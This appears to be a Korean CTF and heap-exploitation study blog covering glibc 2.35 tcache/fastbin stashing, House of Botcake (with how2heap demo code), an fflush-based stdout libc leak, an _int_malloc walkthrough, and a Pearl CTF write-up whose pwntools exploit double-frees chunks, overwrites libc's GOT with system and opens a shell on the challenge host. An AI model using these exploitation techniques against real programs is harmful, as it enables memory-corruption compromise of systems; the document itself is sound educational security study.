1. 14개의 청크 할당 (fastbin 범위 내여야 함)

2. 그 중 7개를 free하여 tache를 다 채우기

3. 청크를 하나 더 해제 (=victim청크, fastbin으로 이동)

4. 1~6개의 청크를 더 해제 (모두 fastbin으로 이동)

5. victim 청크의 next pointer를 원하는 주소로 덮어쓴다 (2.32이상은 safe link 고려)

6. 7개의 청크를 다시 할당하여 tache를 비운다.

7. 그리고 나서 하나의 청크를 더 할당하면 fastbin의 청크들이 reverse순서로 tcache에 들어간다.

   즉, fastbin의 가장 첫 번째 청크가 할당되고 나서, 할당 이후에는 victim청크에 변조해놓은 원하는 주소값이 tcache의 가장 첫 번째 청크가 된다.

8. 한 번의 할당이 더 일어나게 되면 원하는 주소값에 청크가 할당된다.

<원리>

_int_malloc의 내부 루틴 중 아래 부분에 의하여 fastbin범위의 청크 할당 시에 tcache에 자리가 있다면, tcache가 모두 차거나 fastbin이 비워질 때까지 fastbin의 청크를 tcache로 옮기는 루틴이 있다.

#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = *fb) != NULL)
            {
              if (__glibc_unlikely (misaligned_chunk (tc_victim)))
            malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
              if (SINGLE_THREAD_P)
            *fb = REVEAL_PTR (tc_victim->fd);
              else
            {
              REMOVE_FB (fb, pp, tc_victim);
              if (__glibc_unlikely (tc_victim == NULL))
                break;
            }
              tcache_put (tc_victim, tc_idx);
            }
        }
#endif

따라서 위 시나리오 중 6번에서 tcache를 비운 뒤 청크를 한 번 더 할당하게 되면 fastbin의 청크들이 모두 tcache로 들어가게 되는 것이다.

즉, 7번 이전 상황

fastbin : 7→6→5→4→3→2→victim→변조한 주소 → 변조한 주소에 해당하는 값

7번 이후 상황

tcache: 변조한 주소→ victim→ 2→ 3→ 4→ 5→ 6 (7번의 할당에서 7청크가 할당됨)

fastbin: 변조한 주소에 해당하는 값

따라서 한 번의 malloc이 더 일어나면 tcache의 가장 앞에 있는 “변조한 주소”에 청크가 할당된다.

victim 청크 이후에 추가로 해제하는 청크의 개수는 몇개여야 하는가?

⇒ 청크를 할당하고 싶은 주소에 존재하는 값이 0(or valid한 값)인 경우에는 6개 이하도 가능이지만 0이 아니라면 반드시 6개의 청크를 해제해야 한다.

⇒ 왜냐하면, 청크를 할당하고 싶은 주소에 존재하는 값은 tcache 상에서 next pointer로 취급될 것이고, 만약 그 값이 valid하지 않거나 null이 아니라면 crash가 발생할 것이기 때문이다.

⇒ 여기서 valid한 값이란, 16진수로 나타냈을 때 기준 마지막 0.5바이트가 0으로 끝나는 즉, 0x???0형태를 가짐을 의미한다. 그리고 valid한지의 판단은 glibc 2.32이상부터는 safe link를 고려해서 판단해야 한다. (만약 0으로 끝나도 safe link를 고려한다면 0으로 끝나지 않게 되는 경우, valid하지 않다고 판단)

⇒ 오류가 나는 이유를 좀 더 자세하게 분석해보자면 다음과 같다. 우선 <원리>의 코드를 참고하면, fastbin이 비워지거나 tcache가 다 찰 때까지 fastbin 청크를 tcache로 이동시키는 부분이 존재한다. 이는 fastbin의 가장 앞에 있는 청크부터 순서대로 tcache에 밀어넣기 때문에 fastbin에서와 반대의 순서로 tcache에 들어가게 되는것이다. 그런데, 만약 6개보다 적은 수의 청크를 해제하게 된다면 변조한 주소에 해당하는 값까지도 tcache로 이동시켜야 할 대상이 된다. (6개의 청크를 해제한다면 변조한 주소에 해당하는 값의 차례가 오기 전에 tcache가 다 차버리게 됨) 즉, 변조한 주소에 해당하는 값까지도 검증의 대상이 된다는 것이다. 따라서 misaligned_chunk() 를 통과할 수 있어야하는데 이 값이 valid하거나 널이 아니라면 여기서 오류가 나서 강제종료된다.

5개의 청크를 해제한다면 다음과 같은 상황이 발생

7번 이전 상황

fastbin : 6→5→4→3→2→victim→변조한 주소 → 변조한 주소에 해당하는 값

7번 이후 상황

tcache: 변조한 주소에 해당하는 값(검증대상)→변조한 주소→ victim→ 2→ 3→ 4→ 5→ 6 (7번의 할당에서 7청크가 할당됨)

<구현코드>-how2heap glibc 2.35 기준

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
    setbuf(stdout, NULL);

    printf("\n"
           "This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
           "except it works with a small allocation size (allocsize <= 0x78).\n"
           "The goal is to set things up so that a call to malloc(allocsize) will write\n"
           "a large unsigned value to the stack.\n\n");
    printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
           "An heap address leak is needed to perform this attack.\n"
           "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

    // Allocate 14 times so that we can free later.
    char* ptrs[14];
    size_t i;
    for (i = 0; i < 14; i++) {
        ptrs[i] = malloc(allocsize);
    }

    printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n"
             "(More than 7 times works fine too.)\n\n");

    // Fill the tcache.
    for (i = 0; i < 7; i++) free(ptrs[i]);

    char* victim = ptrs[7];
    printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n"
           "It doesn't matter if we corrupt it now or later. Because the tcache is\n"
           "already full, it will go in the fastbin.\n\n", victim);
    free(victim);

    printf("Next we need to free between 1 and 6 more pointers. These will also go\n"
           "in the fastbin. If the stack address that we want to overwrite is not zero\n"
           "then we need to free exactly 6 more pointers, otherwise the attack will\n"
           "cause a segmentation fault. But if the value on the stack is zero then\n"
           "a single free is sufficient.\n\n");

    // Fill the fastbin.
    for (i = 8; i < 14; i++) free(ptrs[i]);

    // Create an array on the stack and initialize it with garbage.
    size_t stack_var[6];
    memset(stack_var, 0xcd, sizeof(stack_var));

    printf("The stack address that we intend to target: %p\n"
           "It's current value is %p\n", &stack_var[2], (char*)stack_var[2]);

    printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
            "to overwrite the next pointer at address %p\n\n", victim);

    //------------VULNERABILITY-----------

    // Overwrite linked list pointer in victim.
    // The following operation assumes the address of victim is known, thus requiring
    // a heap leak.
    *(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));

    //------------------------------------

    printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n");

    // Empty tcache.
    for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);

    printf("Let's just print the contents of our array on the stack now,\n"
            "to show that it hasn't been modified yet.\n\n");

    for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);

    printf("\n"
           "The next allocation triggers the stack to be overwritten. The tcache\n"
           "is empty, but the fastbin isn't, so the next allocation comes from the\n"
           "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
           "Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
           "address that we are targeting ends up being the first chunk in the tcache.\n"
           "It contains a pointer to the next chunk in the list, which is why a heap\n"
           "pointer is written to the stack.\n"
           "\n"
           "Earlier we said that the attack will also work if we free fewer than 6\n"
           "extra pointers to the fastbin, but only if the value on the stack is zero.\n"
           "That's because the value on the stack is treated as a next pointer in the\n"
           "linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
           "\n"
           "The contents of our array on the stack now look like this:\n\n");

    malloc(allocsize);

    for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);

    char *q = malloc(allocsize);
    printf("\n"
            "Finally, if we malloc one more time then we get the stack address back: %p\n", q);

    assert(q == (char *)&stack_var[2]);

    return 0;
}

<실제 디버깅>

1. 14개의 청크를 free한 상태

2. victim chunk의 next ptr을 변조한 상태

3. tcache를 비운 상태

4. 추가로 하나의 청크를 할당해서 fastbin의 청크가 tcache로 이동한 상태(순서가 바뀐것을 볼 수 있음)

   fastbin에서 가장 첫 청크는 해제해서 사라지고, 가장 안쪽에 있던 invalid값만 fastbind에 남은 것을 볼 수 있음(이 값에 대해서는 검증절차가 진행되지 않음)

<익스 시나리오>

=========사전 준비=========

1. 0x100 크기의 청크 7개 할당 (추후에 tcache를 채우기 위함)
2. 0x100크기의 병합을 위한 청크 1개 할당 (=prev chunk)
3. Double free할 0x100크기의 청크 할당 (= vicitm chunk)
4. 탑 청크와의 병합을 방지할 패딩 용 0x10크기의 청크 할당

==========공격 수행==========

1. 1에서 할당한 7개의 청크 free(tcache가 가득 찬다)
2. Victim chunk를 free해서 unsorted bin에 넣는다.
3. Prev chunk를 free해서 victim chunk와 병합시킨다. (unsorted bin에서 병합된 상태로 존재)
4. 0x100바이트의 추가적인 동적할당을 통해 tcache에 자리를 만든다.
5. 그리고 victim chunk를 다시 free하면 double free가 가능하다. (이전에 free한 victim chunk는 병합되어 unsorted bin에 있는 상태 + 지금 free한 victim chunk는 tcache의 빈자리에 들어가므로 double free 보호기법 우회 가능)

<원리>

이것이 가능한 이유는 free 과정에서 청크를 tache에 넣을 때는 오로지 청크의 key값이 tcache_key와 동일한지의 여부만으로 double free를 검사하기 때문이다.

이미 unsorted bin에 존재하고 있는 victim chunk는 unsorted bin에 있기 때문에 key값의 위치에는 main_arena영역의 특정 값이 존재한다. 이 값이 tcache_key 와는 같을리가 없으므로 보호기법을 우회하여 tcache에 중복해 무사히 들어갈 수 있다.

따라서 victim청크를 병합시켜 unsorted bin에 넣어놓은 후 의도적으로 tcache를 비워 그 청크를 또 tcache에 넣어버린다면 double free를 할 수 있다.

<house of botcake 코드> - how2heap glibc 2.35기준

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>

int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");

    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);

    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    intptr_t *prev = malloc(0x100);
    printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
    intptr_t *a = malloc(0x100);
    printf("Allocating the victim chunk: a @ %p\n", a);
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);

    // cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);

    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);

    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    malloc(0x100);
    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/

    puts("Now we have the chunk overlapping primitive:");
    int prev_size = prev[-1] & 0xff0;
    int a_size = a[-1] & 0xff0;
    printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
    printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
    a = malloc(0x100);
    memset(a, 0, 0x100);
    prev[0x110/sizeof(intptr_t)] = 0x41414141;
    assert(a[0] == 0x41414141);

    return 0;
  }

<실제 디버깅>

공격 수행-1 후의 상황

공격수행-2 후의 상황

공격 수행-4

0x100 할당 1회 후

parseheap 이 이상하긴 하지만 tcache entry를 살펴보면 7개 연속 청크 중 마지막이 할당되어 tcache에서 사라진 상태임

즉, prev chunk와 victim chunk는 병합된 상태로 unsorted bin에 존재 + tcache는 6개가 차있는 상태

victim chunk free 후

victim chunk가 tcache의 빈자리로 들어가게 됨.

즉, victim chunk는 tcache에도 있고 unsorted bin에도 (병합된 상태로) 있는 double free상태가 된다.

libc leak이 필요한데 바이너리 내에 출력 함수가 아예 존재하지 않을 경우 사용할 수 있는 방법이다.

다음은 _IO_fflush의 코드이다. 이 중 우리가 이용할 것은 _IO_SYNC이다.

int
_IO_fflush (_IO_FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}

다음은 _IO_SYNC(stdout) 에 의해 수행되는 _IO_new_file_sync 함수이다. 이 중 _IO_do_flush(fp) 에 주목하자.

int
_IO_new_file_sync (_IO_FILE *fp)
{
  _IO_ssize_t delta;
  int retval = 0;

  /*    char* ptr = cur_ptr(); */
  if (fp->_IO_write_ptr > fp->_IO_write_base)
    if (_IO_do_flush(fp)) return EOF;
  delta = fp->_IO_read_ptr - fp->_IO_read_end;
  if (delta != 0)
    {
#ifdef TODO
      if (_IO_in_backup (fp))
    delta -= eGptr () - Gbase ();
#endif
      _IO_off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);
      if (new_pos != (_IO_off64_t) EOF)
    fp->_IO_read_end = fp->_IO_read_ptr;
      else if (errno == ESPIPE)
    ; /* Ignore error from unseekable devices. */
      else
    retval = EOF;
    }
  if (retval != EOF)
    fp->_offset = _IO_pos_BAD;
  /* FIXME: Cleanup - can this be shared? */
  /*    setg(base(), ptr, ptr); */
  return retval;
}

_IO_do_flush 는 매크로로 정의되어있고, 이는 내부에서 _IO_do_write 를 수행한다.

또한, _IO_do_write 는 new_do_write 를 수행한다.

#define _IO_do_flush(_f) \
  ((_f)->_mode <= 0                                  \
   ? _IO_do_write(_f, (_f)->_IO_write_base,                      \
          (_f)->_IO_write_ptr-(_f)->_IO_write_base)              \
   : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base,              \
           ((_f)->_wide_data->_IO_write_ptr                  \
            - (_f)->_wide_data->_IO_write_base)))


int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  return (to_do == 0
      || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

new_do_write의 내부를 살펴보면, _IO_SYSWRITE 가 존재하는 것을 확인할 수 있다.

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

흐름을 다시 정리해보면 다음과 같다.

_IO_fflush ⇒ _IO_new_file_sync ⇒ _IO_do_flush ⇒ _IO_do_write ⇒ new_do_write ⇒ _IO_SYSWRITE

우리가 신경써야 할 것은 1)_IO_SYSWRITE 에 도달하기 위해 만족시켜야 할 조건과, 2)_IO_SYSWRITE 가 궁극적으로 무엇을 출력하는지이다.

1)_IO_SYSWRITE 에 도달하기 위해 만족시켜야 할 조건

1. fp->_IO_write_ptr > fp->_IO_write_base
2. fp->_IO_read_end != fp->_IO_write_base 가 성립 x

2)_IO_SYSWRITE 가 궁극적으로 무엇을 출력하는지

_IO_SYSWRITE에 인자로 들어가는 것은 다음과 같다.

_f, (_f)->_IO_write_base, (_f)->_IO_write_ptr-(_f)->_IO_write_base

즉, stdout의 _IO_write_base 에 leak하고 싶은 영역의 주소(ex. 특정함수의 got)를 넣고, _IO_write_ptr 은 _IO_write_base + 8만큼의 값을 써주면 내가 원하는 값을 총 8바이트 출력할 수 있게 된다.

따라서 결론적으로 우리가 해야할 일은 다음과 같다.

1. stdout 구조체를 다음과 같이 변조한다.

   1) flag=0xfbad2802

   2) io_read_end=io_write_base  그리고 io_write_base 에는 got 적어주고, write_ptr에는 got+8 적어준다.

   3) buf_base는 0으로 세팅

2. fflush(stdout)를 호출한다.

3번 조건은 fclose를 이용할 때 추후 종료 루틴 시 오류 방지를 위한 것이라는데 fflush에서는 굳이 필요 없는거 같기도 하다. 왜냐하면 직접 다른 값을 넣고 디버깅해봤더니 오류가 나지 않고 정상적으로 leak 이후 함수가 종료된다.

문제를 풀던 중 아예 출력함수가 바이너리 내에 존재하지 않아 rop가 가능함에도 libc leak을 할 방법이 보이지 않았다. 그래서 fflush를 이용해 libc leak하는 방법을 찾던 중, fclose를 이용한 leak 방법에 대해 찾게 되었고, fflush와 fclose의 내부 루틴 중 fclose에서 이용한 함수와 겹치는 것이 존재한다는 것을 발견해서 fflush에 직접 적용해보며 알게 된 방법이다. 따라서 이와 동일한 방식을 fclose에도 적용할 수 있다.

이제 직접 디버깅하면서 확인해주자. 일단 stdout구조체를 앞선 조건에 맞게 변조하고 fflush(stdout)를 호출한 상황이다.

_IO_file_sync가 호출되고 있다.

다음으로는 _IO_new_do_write가 실행되는데, 인자를 살펴보면 우리가 변조한대로 stdout, got 주소, 출력할 size 순이다. 원래 size는 8이 되도록 하는 것이 일반적이지만 나는 그냥 내가 입력한대로 size가 정해지는지 확인하려고 16만큼 큰 수를 대입해봐서 0x10이 된 것이다.

다음으로는 _IO_file_write가 실행된다.

그리고 최종적으로 그 내부에서 write함수가 실행되면서 값이 leak된다.

pwntools 상에서도 libc관련 값이 받아지는 것을 확인할 수 있다. (디버깅은 로컬, 이 값은 리모트에서 확인해서 릭된 값은 다르다)

사용할 상황이 많을진 모르겠다만 만약 libc base가 필요하고 바이너리 내에 출력함수가 전무한 상황이라면 이 방법을 사용할 수 있겠다.

[Pearl CTF]
babyheap (pwn)
64 bit, Full relro, CANARY, NX, PIE

우선 바이너리랑 libc파일이 주어져있다. 먼저 아이다로 디컴파일해보자.

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned __int64 choice; // [rsp+8h] [rbp-8h]

  sub_1249(a1, a2, a3);
  while ( 1 )
  {
    puts("\n1. Create note\n2. Delete note\n3. View notes\n4. Exit");
    printf("Enter choice ");
    choice = sub_1290();
    if ( choice == 4 )
      exit(0);
    if ( choice > 4 )
    {
LABEL_13:
      puts("Why would you do that.");
    }
    else if ( choice == 3 )
    {
      view();
    }
    else
    {
      if ( choice > 3 )
        goto LABEL_13;
      if ( choice == 1 )
      {
        create();
      }
      else
      {
        if ( choice != 2 )
          goto LABEL_13;
        delete();
      }
    }
  }
}

코드 상에서 볼 수 있듯이 보통 힙 문제의 전형이다. 1=> 할당 2=> 해제 3=> 출력 의 형태를 가지고 있다.

좀 더 상황을 정리해보면, 내가 원하는 크기만큼의 동적할당을 하고 초기에 한 번 동적할당한 곳에 입력을 할 수 있다. 그리고 전역변수 배열에 인덱스로 접근하여 최대 16개의 할당 주소를 저장할 수 있다. 아마 여기서 UAF가 가능할 것이다. (해제 이후에도 전역변수에 해당 주소가 남아있기 때문에)

그리고 주어진 libc파일에서 오프셋 몇가지를 확인해보니까 glibc 2.35인 것을 확인할 수 있었다. 따라서 훅변수를 사용할 수 없다. (또한 safe linking 및 tcache alignment를 신경써주어야 한다) 방법을 생각해보니, view를 통해 출력할 때 puts의 인자를 원하는 것으로 넣을 수 있다. 따라서 힙 취약점을 이용해 aaw로 libc의 got를 system함수로 덮은 뒤 puts의 인자가 "/bin/sh"인 상태로 puts를 실행시키면 된다.

남은 것은 어떻게 libc base를 구하고 aaw를 터뜨릴지이다.

우선 libc base의 경우 unsorted bin을 활용해 leak하면 된다.

aaw의 경우에는 처음에 dfb를 활용하려고 했는데, 해제한 주소를 출력시키는 uaf는 가능해도, 해제한 주소에 값을 쓸 수는 없어 key값을 변조시킬 방법이 없었다. 이런 경우에는 두 가지 방법을 쓸 수 있다.

1) house of botcake 2) tcache stashing unlink

1번은 아직 공부를 못해서(..) 2번으로 익스를 시도했다. 2번 방법에 대해 간단하게 설명하자면, malloc의 내부 루틴에서는 tcache가 비어있는 상태에서 fastbin이나 smallbin 범위의 청크를 할당하면 요청크기에 해당하는 fastbin, smallbin의 청크들을 tcache가 다 찰 때까지 tcache bin에 넣어버리는 부분이 존재한다. (_int_malloc 분석 글 참고) 따라서 fastbin에서 double free를 일으키고 이 점을 이용해 double free된 청크를 tcache에 넣어버리면 key값의 변조 없이 tache dfb를 트리거할 수 있다. 정확하게는 모르지만 이를 이용한 기법을 tcache stashing unlink라고 한다고 한다.

즉 익스 시나리오는 다음과 같다.

1. unsorted bin활용 libc leak
2. masking key leak(tcache의 가장 마지막 청크 활용)
3. aaw로 libc got overwrite
4. puts("/bin/sh") 실행

최종 익스 코드는 아래와 같다.

from pwn import *
#64, Full relro, CANARY, NX, PIE


#p = process("./heap")
p = remote("dyn.ctf.pearlctf.in", 30010)
#libc = ELF("./libc.so.6")
system_offset =   0x50d60 #libc.symbols['system']  


#context.log_level = 'debug'
#22.04로 추정=> 훅변수 x

#3 => 출력하는 부분에서 puts의 인자를 원하는 것으로 넣을 수 있음
#힙 취약점으로 puts중에서 libc의 got를 system함수로 덮고 puts의 인자가 /bin/sh인 상태로 puts를 실행시키면 쉘 따짐


def create(index, size, content):
    p.sendline(b"1")
    p.sendlineafter(b"Index", str(index).encode())
    p.sendlineafter(b"Size", str(size).encode())
    p.sendlineafter(b"Content", content)

def delete(index):
    p.recvuntil(b'choice')
    p.sendline(b"2")
    p.sendlineafter(b"Index", str(index).encode())

def view(index):
    p.sendline(b"3")
    p.sendlineafter(b"Index", str(index).encode())


#1. libc base 구하기
for i in range(9):
    create(i, 0x200, b"AAAA")

for i in range(8):
    delete(i)



view(7)
p.recvuntil(b"> ")
libc_base = u64(p.recvline().strip()+b"\x00\x00") - 0x219ce0 #0x21ace0 
#log.info(hex(libc_base)) 

#2.masking key
view(0)
p.recvuntil(b"> ")
masking_key = u64(p.recvline().strip()+b"\x00\x00\x00") 
#log.info(hex(masking_key)) 

#3. aaw 따기


offset = 0x219098 #0x21a098

for i in range(9):
    create(i, 0x18, b"AAAA")
for i in range(7):
    delete(i)



delete(7)
delete(8)
delete(7)
pause()

for i in range(7):
    create(i, 0x18, b"AAAA")



log.info(hex(libc_base))
log.info(hex(masking_key))

create(0, 0x18, p64((masking_key+1) ^ (libc_base+offset-8)))  
create(0, 0x18, b"AAAA")
create(4, 0x18, b"/bin/sh\x00")
create(1, 0x18, p64(system_offset+libc_base)+p64(system_offset+libc_base))


#4. system("/bin/sh") 실행


view(4)


p.interactive()

쉘이 따졌다.

이 문제.. 로되리안 때문에 거의 며칠동안 삽질했는데 알고보니 오프셋 문제였다. 뭔가 이상해서 libc를 다시 다운받아 확인했더니 이전에 확인했던 오프셋과 달라져있었다(??) 진짜 뭐지? 처음엔 내가 그냥 실수한건 줄 알았는데 로되리안이라고 올린 다른 분 코드를 보니까 나랑 오프셋이 완전하게 동일했다. 뭔가 중간에 libc가 바뀐거 같은데.. 이거때문에 몇시간을 버렸는지 모르겠다.

현재 속하는 arena인 av와 할당할 크기인 bytes를 입력받고 할당된 주소값을 반환한다.

static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* normalized request size */
  unsigned int idx;                 /* associated bin index */
  mbinptr bin;                      /* associated bin */

  mchunkptr victim;                 /* inspected/selected chunk */
  INTERNAL_SIZE_T size;             /* its size */
  int victim_index;                 /* its bin index */

  mchunkptr remainder;              /* remainder from a split */
  unsigned long remainder_size;     /* its size */

  unsigned int block;               /* bit map traverser */
  unsigned int bit;                 /* bit map traverser */
  unsigned int map;                 /* current word of binmap */

  mchunkptr fwd;                    /* misc temp for linking */
  mchunkptr bck;                    /* misc temp for linking */

#if USE_TCACHE
  size_t tcache_unsorted_count;        /* count of unsorted chunks processed */
#endif

그 외에도 여러 변수들을 선언하는데 추후에 필요할 때 언급할 예정이다.

/*
     Convert request size to internal form by adding SIZE_SZ bytes
     overhead plus possibly more to obtain necessary alignment and/or
     to obtain a size of at least MINSIZE, the smallest allocatable
     size. Also, checked_request2size returns false for request sizes
     that are so large that they wrap around zero when padded and
     aligned.
   */

  nb = checked_request2size (bytes);
  if (nb == 0)
    {
      __set_errno (ENOMEM);
      return NULL;
    }

  /* There are no usable arenas.  Fall back to sysmalloc to get a chunk from
     mmap.  */
  if (__glibc_unlikely (av == NULL))
    {
      void *p = sysmalloc (nb, av);
      if (p != NULL)
    alloc_perturb (p, bytes);
      return p;
    }

우선 할당을 원하는 크기인 bytes를 청크의 크기로 변환하여 nb에 저장한다.

만약 nb가 0이라면 null을 반환하고 malloc을 종료한다.

그리고 현재 arena를 의미하는 av가 널이라면, 즉 usable arenas가 없다면 sysmalloc을 호출하여 mmap으로부터 청크를 얻어 반환한다. (return p)

위의 두 가지 경우 중 어디에도 해당되지 않는다면 계속 코드를 진행한다.

밑부분을 간단하게 살펴보면, if문-if문-else 문으로 크게 나뉠 수 있는데 구조는 다음과 같다.

1. if문 ⇒ fastbin 크기
2. if문 ⇒smallbin 크기
3. else문 ⇒ largebin 크기

이 구조를 기억하면서 코드를 살펴보자.

1. if문 ⇒ fastbin 크기

/*
     If the size qualifies as a fastbin, first check corresponding bin.
     This code is safe to execute even if av is not yet initialized, so we
     can try it without checking, which saves some time on this fast path.
   */

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
    {
      if (__glibc_unlikely (misaligned_chunk (victim)))
        malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");

      if (SINGLE_THREAD_P)
        *fb = REVEAL_PTR (victim->fd);
      else
        REMOVE_FB (fb, pp, victim);

만약 nb가 fastbin범위에 든다면 if문의 내부로 들어간다. 주석을 읽어보면, fastbin범위의 할당이 요청되면 가장 먼저 fastbin을 확인한다는 의미인 듯 하다. 따라서 if문 내부에는 fastbin에 할당할 청크가 존재하는지 확인하는 코드가 실행될 것으로 예상해볼 수 있다.

nb값을 바탕으로 fastbin에 해당하는 index값을 가져오고 포인터 fb에 해당 인덱스의 fastbin리스트 주소를 가져오고, victim에 *fb, 즉 fastbin 리스트를 대입한다.

만약 victim이 널이 아니라면 여러 fastbin 검증을 거치게 된다.

우선 victim에 가져온 fastbin청크를 바탕으로 misaligned 여부를 판단한다. misaligned_chunk 매크로를 타고 들어가보면 인자의 주소값을 0b1111과 and 연산하여 0이 아니라면 misaligned로 판단하는 듯 하다. 즉, 주소값의 16진수 기준 마지막 자리수가 0이어야 제대로 align되어 있다고 판단하는 듯 하다.

다음으로는 싱글스레드의 여부를 확인하여 싱글스레드면 fb에 victim의 fd값을 넣어준다. (단, REVEAL_PTR 매크로로 safe linking 했던 것을 복구하여 대입한다.)

처음에는 이게 정확히 뭘 하는 건가 했는데 포인터변수인 fb에 fd를 넣어줌으로써 fastbin의 가장 첫 번째 청크를 fd로 바꾸어주는, 즉 맨 앞의 청크를 fastbin연결리스트에서 제거하는 행위인 것 같다.

싱글 스레드가 아니라면 REMOVE_FB라는 매크로를 통해 특정 작업을 한다. 아마 이전과 동일하게 fastbin 리스트에서 청크를 제거하는 행위일 듯 하다.

fastbin에서 청크를 언링크하는 것으로 보아, 동적할당을 통해 해당 청크(즉, victim)을 반환할 것으로 보인다.

      if (__glibc_likely (victim != NULL))
        {
          size_t victim_idx = fastbin_index (chunksize (victim));
          if (__builtin_expect (victim_idx != idx, 0))
        malloc_printerr ("malloc(): memory corruption (fast)");
          check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
(...중략...)
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
    }

그리고 또 한번의 검증 절차를 거치는데, 조건을 잘 보니 어디서 많이 보던 것이다.

바로 fastbin poisoning을 통해서 원하는 곳에 청크를 할당할 때, 그 주소의 이전 부분에 size를 알맞게 세팅해주어야 했던 우회기법을 만들어낸 검증 절차이다. victim의 주소로부터 가져온 인덱스값과 nb로부터 가져온 인덱스 값을 비교하여 내가 원하는 할당 크기가 victim의 주소에 알맞게 헤더로서 세팅되어있는지를 확인하고 있다.

그리고 나서 victim의 청크가 제대로된 청크인지 (arena일치, size가 범위 내에 있는 등등)을 check_remalloced_chunk 로 확인한다.

다음으로는 tcache를 사용할 때만 유효한 부분이 존재하는데, 일단은 뒷 부분 먼저 보고 이 부분을 살펴보기로 하자.

